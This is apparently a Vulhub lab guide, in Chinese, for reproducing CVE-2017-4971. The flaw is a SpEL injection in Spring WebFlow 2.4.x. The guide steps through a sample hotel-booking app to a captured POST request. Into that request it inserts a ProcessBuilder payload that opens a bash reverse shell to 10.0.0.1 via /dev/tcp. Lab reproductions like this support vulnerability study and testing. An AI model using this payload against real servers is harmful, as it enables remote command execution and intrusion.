Spring WebFlow 遠程代碼執行漏洞(CVE-2017-4971)
Path spring/CVE-2017-4971
Spring WebFlow 是一個適用于開發基于流程的應用程序的框架(如購物邏輯),可以將流程的定義和實現流程行為的類和視圖分離開來。在其 2.4.x 版本中,如果我們控制了數據綁定時的field,將導致一個SpEL表達式注入漏洞,最終造成任意命令執行。
參考鏈接:
測試環境
運行測試環境:
docker-compose up -d
等待環境啟動后,訪問http://your-ip:8080,將看到一個酒店預訂的頁面,這是spring-webflow官方給的簡單示例。
漏洞復現
首先訪問http://your-ip:8080/login,用頁面左邊給出的任意一個賬號/密碼登錄系統:

然后訪問id為1的酒店http://your-ip:8080/hotels/1,點擊預訂按鈕“Book Hotel”,填寫相關信息后點擊“Process”(從這一步,其實WebFlow就正式開始了):

再點擊確認“Confirm”:

此時抓包,抓到一個POST數據包,我們向其中添加一個字段(也就是反彈shell的POC):
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

(注意:別忘記URL編碼)
成功執行,獲得shell:

Vulhub 文檔